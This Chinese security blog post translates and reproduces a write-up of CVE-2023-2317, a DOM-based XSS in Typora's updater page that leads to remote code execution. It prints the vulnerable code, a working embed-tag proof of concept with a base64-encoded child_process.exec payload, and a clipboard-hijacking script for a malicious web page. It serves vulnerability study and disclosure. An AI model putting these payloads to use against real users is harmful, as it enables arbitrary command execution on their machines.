前言
本篇博文是《从0到1学习安全测试》中漏洞复现 系列的第二 篇博文,主要内容是分析 Typora 出现 XSS 漏洞的原因,对该漏洞进行复现,并在多场景中进行实现 ,往期系列文章请访问博主的 安全测试 专栏;
本文翻译自 (CVE-2023-2317) Typora DOM-Based Cross-site Scripting leading to Remote Code Execution,原文作者 Li Jiantao (@CurseRed);
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
展示
弹计算器,懂得都懂~
介绍
漏洞的 CVE 编号为 CVE-2023-2317,适用于 Windows/Linux 上版本低于 1.6.7 的 Typora。
Typora 是一款流行的跨平台 Markdown 编辑器,允许用户创建和编辑具有实时预览功能的 Markdown 文件。适用于 Windows/Linux 的 Typora 基于 Electron 构建,该框架使其能够在各种操作系统上无缝运行。Markdown 编辑器支持 HTML 标签和嵌入外部网页。攻击者可以利用该漏洞通过在 Markdown 编辑器中加载精心设计的 URL 来执行任意 JavaScript 代码和系统命令。
这个基于 DOM 的 XSS 漏洞源于通过在标签中加载 typora://app/typemark/updater/
可以直接访问到 updater/update.html,而 html 会接受传参并进行解析。因此通过精心构造的 Markdown 文件可以在 Typora 主窗口的上下文中运行任意 JavaScript 代码。如果用户在 Typora 中打开恶意的 Markdown 文件,或者从恶意网页复制文本并粘贴到 Typora 中,则可能会利用此漏洞。
分析
在 Typora/resources/updater/updater.html
中存在基于 DOM 的 XSS 漏洞的代码如下所示:
html
<div class="btn-group">
<div id="skip-this-version-btn-group" style="flex-grow: 2; min-height: 10px;min-width: 10px;">
<button onClick="onSkipUpdate()" data-label="1" >Skip This Version</button>
</div>
<button onClick="onCancelUpdate()" data-label="2" >Remind Me Later</button>
<button class="btn-primary" onClick="onDownloadUpdate()" data-label="3" >Download Update</button>
</div>
<script type="text/javascript">
// ...
var labels = JSON.parse(decodeURIComponent(/[?&]labels=([^&]+)/.exec(window.location.search)[1])); // [1]
document.querySelector("#sum").innerText = labels[4] + " " + labels[5].replace("$1", newVersion).replace("$2", curVersion);
document.querySelectorAll("[data-label]").forEach(function(dom){
dom.innerHTML = labels[dom.getAttribute("data-label") - 0]; // [2]
});
// ...
</script>
上述代码的作用解释如下:
-
HTML 部分定义了一个包含多个按钮的按钮组
btn-group
。按钮组内部有三个按钮,分别具有不同的功能:- 第一个按钮(Skip This Version)被点击时会调用
onSkipUpdate()
函数; - 第二个按钮(Remind Me Later)被点击时会调用
onCancelUpdate()
函数; - 第三个按钮(Download Update)被点击时会调用
onDownloadUpdate()
函数;
- 第一个按钮(Skip This Version)被点击时会调用
-
JavaScript 部分代码的主要作用:
- 在 URL 中搜索参数
labels
的值,并对其进行解码和解析为 JSON 格式。 - 将标签信息中的特定位置占位符
$1
和$2
替换为新版本号和当前版本号。 - 根据具有
data-label
属性的元素(即按钮元素)的值,动态更新对应按钮的 HTML 内容。
- 在 URL 中搜索参数
而 dom.innerHTML
会被从 labels
数组中获取的内容文本赋值正是导致 XSS 漏洞的关键点 ,因为 labels
的参数可控并且可以含有恶意的 JavaScript 代码,会导致 dom.innerHTML
直接使用恶意的没有经过任何转义的外部输入,触发 JavaScript 代码的执行。
下面将一个 <input>
标签注入 DOM 中,代码如下所示:
ini
updater.html?curVersion=1&newVersion=2&releaseNoteLink=3&hideAutoUpdates=false&labels=["<input%20value=test>","22","33","44","55","66","77"]
运行结果:
复现
Typora 注册了一个文件处理程序 typora://
来加载本地资源。例如,主窗口的 URL 是 typora://app/typemark/window.html
,实际文件是从路径 [Typora Installation Absolute Path]/resources/window.html
加载的。
攻击者可以通过 <embed>
将 src
属性设置为 typora://app/typemark/updater/updater.html
来将存在漏洞的 updater.html 加载到标签内。在这种情况下,typora://app/typemark/window.html
在主窗口中加载的内容和嵌入的 updater.html 页面被视为同源。因此,updater.html 能够访问暴露于主窗口的特权接口,例如 reqnode
。
通过嵌入带有精心设计的 DOM-XSS 负载的 URL 到 updater.html 中,攻击者能够在主窗口上执行任意的 JavaScript 代码。此外,攻击者可以使用 reqnode
主窗口中的特权界面来访问节点模块 child_process
并执行任意系统命令。
编写 PoC 代码如下所示:
html
<embed src="typora://app/typemark/updater/updater.html?curVersion=111&newVersion=222&releaseNoteLink=333&hideAutoUpdates=false&labels=[%22%22,%22%3csvg%2fonload=top.eval(atob('cmVxbm9kZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoKHtXaW4zMjogJ25vdGVwYWQgJVdJTkRJUiUvd2luLmluaScsIExpbnV4OiAnZ25vbWUtY2FsY3VsYXRvciAtZSAiVHlwb3JhIFJDRSBQb0MiJ30pW25hdmlnYXRvci5wbGF0Zm9ybS5zdWJzdHIoMCw1KV0p'))><%2fsvg>%22,%22%22,%22%22,%22%22,%22%22]"></embed>
PoC 代码中的 base64 编码部分被解码为以下内容:
js
reqnode('child_process').exec(({Win32: 'notepad %WINDIR%/win.ini', Linux: 'gnome-calculator -e "Typora RCE PoC"'})[navigator.platform.substr(0,5)])
当这个 PoC 加载到 Typora 中时,它将:
- 将 DOM-XSS 负载加载到 updater.html中;
- 有效负载将在主窗口上执行 JavaScript 代码;
- 执行系统命令:在 Windows 上执行
notepad
,或在 Linux 上执行gnome-calculator
;
场景一:打开恶意 markdown 文件
攻击者可以在 Markdown 文件中注入嵌入标签,并说服受害者在 Typora 中打开它以触发有效负载。
场景二:从网页复制并粘贴
攻击者可以制作恶意网页并使用以下代码来挂钩该 copy
事件:
html
<script>
document.addEventListener('copy', e=>{
e.preventDefault();
let payload = atob('JiN4M2M7ZW1iZWQgc3R5bGU9ImhlaWdodDowOyIgc3JjPSJ0eXBvcmE6Ly9hcHAvdHlwZW1hcmsvdXBkYXRlci91cGRhdGVyLmh0bWw/Y3VyVmVyc2lvbj0xMTEmbmV3VmVyc2lvbj0yMjImcmVsZWFzZU5vdGVMaW5rPTMzMyZoaWRlQXV0b1VwZGF0ZXM9ZmFsc2UmbGFiZWxzPVslMjIlMjIsJTIyJTNjc3ZnJTJmb25sb2FkPXRvcC5ldmFsKGF0b2IoJ2NtVnhibTlrWlNnblkyaHBiR1JmY0hKdlkyVnpjeWNwTG1WNFpXTW9LSHRYYVc0ek1qb2dKMjV2ZEdWd1lXUWdKVmRKVGtSSlVpVXZkMmx1TG1sdWFTY3NJRXhwYm5WNE9pQW5aMjV2YldVdFkyRnNZM1ZzWVhSdmNpQXRaU0FpVkhsd2IzSmhJRkpEUlNCUWIwTWlKMzBwVzI1aGRtbG5ZWFJ2Y2k1d2JHRjBabTl5YlM1emRXSnpkSElvTUN3MUtWMHAnKSk+PCUyZnN2Zz4lMjIsJTIyJTIyLCUyMiUyMiwlMjIlMjIsJTIyJTIyXSI+JiN4MGQ7JiN4MGQ7');
e.clipboardData.setData('text/markhtml', `\x20\x0d\x0a\x0d\x0a` + payload + window.getSelection());
console.log(payload + window.getSelection())
})
</script>
当受害者从该页面复制文本时,有效负载会添加到复制的内容中,并在粘贴到 Typora 时触发。
措施
(1)不要在 Typora 中打开任何不受信任的 Markdown 文件。
(2)应避免从不受信任的网页复制文本然后将其粘贴到 Typora 中。
后记
本文复现了 Typora Windows/Linux 客户端中存在的 XSS 漏洞,通过本案例提醒各位读者,最好不要打开任何不受信任的 Markdown 文件或者从不受信任的网页复制文本然后将其粘贴到 Typora 中,提高自身的安全意识,谨防跨站脚本攻击!
以上就是博文 使用 Typora 的程序员注意了!不要再复制粘贴了! 的所有内容了,希望对大家有所帮助!
严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。
📝 上篇精讲:小心!谨慎点击 QQ 好友的消息链接!
💖 我是 𝓼𝓲𝓭𝓲𝓸𝓽,期待你的关注,创作不易,请多多支持;
👍 公众号:sidiot的技术驿站;
🔥 系列专栏:安全测试工具和技术:从漏洞扫描到渗透测试